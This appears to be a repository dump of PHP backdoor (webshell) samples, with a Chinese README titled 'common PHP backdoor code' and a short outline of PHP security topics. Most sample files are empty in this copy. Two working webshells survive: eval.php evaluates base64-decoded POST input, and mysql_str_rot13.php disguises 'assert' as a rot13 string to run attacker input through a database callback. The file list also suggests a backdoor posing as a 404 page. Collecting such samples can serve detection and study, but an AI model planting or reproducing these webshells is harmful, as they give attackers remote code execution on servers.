├── .gitignore ├── 404_not_found.php ├── README.md ├── array_filter.php ├── array_map.php ├── assert.php ├── call_user_func.php ├── eval.php ├── gzinflate.php ├── gzuncompress.php ├── include.php ├── mysql_str_rot13.php ├── preg_replace.php ├── request.php ├── str_replace.php ├── str_rot13.php ├── uasort.php └── xor.php /.gitignore: -------------------------------------------------------------------------------- 1 | /demo_test.php 2 | /.buildpath 3 | /*.project 4 | /.settings 5 | -------------------------------------------------------------------------------- /404_not_found.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

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7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 常见PHP后门程序代码(安全很重要!!!) 2 | 3 | ## PHP安全指南 4 | PHP诞生很久,可选版本较多,且不是强类型变量语言,易于编写同样漏洞较多,下面给出PHP安全编程的指南: 5 | 6 | ### 配置安全 7 | 1. 报错信息 error_reporting 8 | 2. 错误日志 error_log 9 | 3. 注册全局 register_globals 10 | 4. 远程文件包含 11 | 4. 安全模式 12 | 5. EXPOSE_OFF 13 | 14 | ### 数据安全 15 | 1. 数据过滤 16 | 2. 数据清洗 17 | 3. 数据验证 18 | 4. 密码安全 19 | 20 | ### 编程安全 21 | 1. 处理文件上传 22 | 2. SQL注入 23 | 3. XSS 24 | 4. CSRF 25 | 5. COOKIE安全 -------------------------------------------------------------------------------- /array_filter.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /array_map.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /assert.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /call_user_func.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /eval.php: -------------------------------------------------------------------------------- 1 | '); 4 | eval (base64_decode($_POST["php"])); 5 | ?> -------------------------------------------------------------------------------- /gzinflate.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /gzuncompress.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /include.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /mysql_str_rot13.php: -------------------------------------------------------------------------------- 1 | query("SELECT '{$sql[b4dboy]}'"); 4 | $result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg')); 5 | } 6 | ?> -------------------------------------------------------------------------------- /preg_replace.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /request.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /str_replace.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /str_rot13.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /uasort.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /xor.php: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------